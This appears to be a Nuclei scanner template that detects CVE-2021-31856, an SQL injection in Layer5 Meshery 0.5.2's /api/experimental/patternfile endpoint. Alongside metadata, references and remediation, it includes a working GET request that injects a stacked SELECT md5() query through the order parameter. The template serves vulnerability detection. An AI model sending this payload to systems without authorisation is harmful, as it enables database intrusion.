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id : CVE-2021-31856
info :
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name : Layer5 Meshery 0.5.2 - SQL Injection
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author : princechaddha
severity : critical
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description : Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
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remediation : |
Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
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reference :
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
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- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
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- https://github.com/ssst0n3/my_vulnerabilities
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2021-31856
cwe-id : CWE-89
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epss-score : 0.03274
epss-percentile : 0.91056
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cpe : cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : layer5
product : meshery
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tags : cve2021,cve,sqli,layer5
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variables :
num : "999999999"
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http :
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- method : GET
path :
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- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- '{{md5({{num}})}}'
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- type : status
status :
- 200
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# digest: 4b0a004830460221008282dd3dc0af4d7274665fcf07634a48fd7173a214d41c5e21e649c77c019c4e022100d945931cb64b065349eb9de7b7d95b3e6801dc81a762c39998d8215c3d7a6bb9:922c64590222798bb761d5b6d8e72950